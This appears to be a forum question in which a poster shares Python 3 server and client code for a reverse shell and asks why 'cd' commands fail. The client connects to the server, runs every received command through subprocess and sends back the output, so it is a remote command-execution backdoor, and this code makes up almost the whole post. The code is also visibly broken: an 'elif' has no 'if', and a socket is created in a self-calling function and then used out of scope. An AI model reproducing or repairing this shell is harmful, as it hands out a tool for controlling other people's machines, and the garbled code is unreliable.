This is in python 3. I'm trying to command cd from my server to the reverse shell, but it just won't work. All it does is just let me type another command. Like when I type "cd .." for example, it won't change the directory...I dont get what I did wrong...
Here is the code for server.py
:
import socket
import sys
HOST = "127.0.0.1"
PORT = 54333
def sockets():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sockets()
s.bind((HOST, PORT))
s.listen(5)
print("listening")
target, ip = s.accept()
print("connected")
if target or ip:
shell()
else:
pass
def shell(): # Method of getting shell.
while True:
command_input = input(f"{ip}: ")
elif command_input[:2] == "cd":
continue
else:
target.send(command_input.encode())
recv = target.recv(1024).decode()
print(recv)
shell()
And here is the code for the client.py
:
#!/usr/bin/python
import socket
import subprocess
import os
HOST = "127.0.0.1"
PORT = 54333
def sockets():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
sockets()
while True:
command = s.recv(1024).lower().decode()
if command.startswith("cd "):
os.chdir(str(command[3:]))
s.send(os.getcwd().encode())
else:
output = subprocess.getoutput(command)
s.send(output.encode())
Thanks for everyone.
EDIT: There might be some small problems, because I edited my original code to make it short as impossible for you.